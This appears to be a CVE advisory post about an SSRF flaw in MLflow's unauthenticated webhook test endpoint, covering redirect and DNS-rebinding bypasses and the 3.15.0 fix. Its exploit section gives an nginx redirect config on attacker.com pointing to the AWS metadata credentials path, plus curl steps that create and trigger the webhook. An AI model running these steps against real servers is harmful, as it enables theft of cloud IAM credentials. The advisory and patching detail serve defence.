Listen to this Post
The vulnerability resides in MLflow’s webhook delivery mechanism, specifically within the unauthenticated `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint. On a default MLflow Tracking Server (no authentication, SQLite backend), this endpoint is exposed without authentication. When a webhook URL is created or tested, MLflow calls `_validate_webhook_url()` in `mlflow/utils/validation.py` to guard against Server-Side Request Forgery (SSRF). This validation function resolves the webhook hostname via `socket.getaddrinfo` and checks that every resolved IP address is public (using ip.is_global). However, the function discards the resolved IP address and returns `None` upon success. The subsequent HTTP request, performed via `session.post(webhook.url)` in mlflow/webhooks/delivery.py, re-resolves the hostname independently. This creates a Time-Of-Check Time-Of-Use (TOCTOU) gap.
An attacker can exploit this gap through two primary vectors. The first is HTTP redirect following: the attacker hosts a public HTTPS endpoint that passes the initial validation, then returns a `302` redirect to an internal or cloud metadata URL (e.g., http://169.254.169.254/latest/meta-data/`). Because `session.post` follows redirects by default (allow_redirects=Falseis not set) and never re-validates the redirect target, the MLflow server follows the redirect and accesses the internal resource. The second vector is DNS rebinding: the attacker controls a DNS server that returns a public IP during the validation phase (passing the `is_global` check) and then returns a private or link-local IP (e.g., `169.254.169.254` for AWS metadata, or127.0.0.1) during the actual HTTP request. Since the validation discards the IP and the request re-resolves the hostname, the rebinding succeeds. The `_validate_webhook_url` function is called again before the request, but it re-validates only the original URL, not any redirect targets. The `/test` endpoint reflects the `response_status` and `response_body` of the upstream request back to the caller, making this a full-read SSRF. This allows an unauthenticated attacker to read cloud instance metadata (including IAM credentials), access internal services, and potentially pivot deeper into the network. The issue is fixed in MLflow version 3.15.0.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: MLflow
Version: < 3.15.0
Vulnerability: SSRF
Severity: CRITICAL
date: 2026-08-17
<h2 style="color: blue;">Prediction: 2026-08-17</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
Check MLflow version
mlflow --version
Identify vulnerable endpoint
curl -X POST http://<target-mlflow>:5000/api/2.0/mlflow/webhooks/1/test \
-H "Content-Type: application/json" \
-d '{"url": "https://attacker.com/redirect"}'
<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>
1. Attacker-controlled redirect server (Nginx)
/etc/nginx/sites-available/redirect
server {
listen 443 ssl;
server_name attacker.com;
ssl_certificate /etc/letsencrypt/live/attacker.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/attacker.com/privkey.pem;
location / {
return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/;
}
}
2. Create webhook pointing to attacker.com
curl -X POST http://<target-mlflow>:5000/api/2.0/mlflow/webhooks/ \
-H "Content-Type: application/json" \
-d '{"url": "https://attacker.com/", "events": ["MODEL_VERSION_CREATED"]}'
3. Trigger webhook test to read metadata
curl -X POST http://<target-mlflow>:5000/api/2.0/mlflow/webhooks/1/test \
-H "Content-Type: application/json" \
-d '{}'
4. DNS rebinding attack (conceptual)
- DNS server returns 1.2.3.4 (public) during validation
- DNS server returns 169.254.169.254 during actual request
- MLflow server follows the rebinding and fetches metadata
<h2 style="color: blue;">Protection:</h2>
Upgrade to MLflow version 3.15.0 or later. The fix introduces an `SSRFProtectedHTTPAdapter` in `mlflow/webhooks/ssrf.py` that validates the peer IP of the actual connected socket immediately after the TCP `connect()` returns, before any TLS handshake or HTTP data is exchanged. This closes the TOCTOU gap because there is no second DNS resolution between the check and the request. The adapter honors the `MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS` environment variable for local development. Additionally, environment proxy handling is disabled in the webhook session to prevent proxy-based bypasses. Network-level mitigations include restricting outbound traffic from the MLflow server to only necessary public endpoints, and monitoring for unusual HTTP redirect patterns or DNS responses.
<h2 style="color: blue;">Impact:</h2>
An unauthenticated attacker can read sensitive cloud instance metadata, including IAM credentials, from AWS, GCP, Azure, and other cloud providers. The attacker can also access internal services on the local network, such as internal APIs, databases, and configuration endpoints. The CVSS score is 9.3 (CRITICAL), with the vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N`. The vulnerability is actively exploited in the wild. Full remediation requires upgrading to MLflow 3.15.0, as the fix is not backported to earlier versions.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode

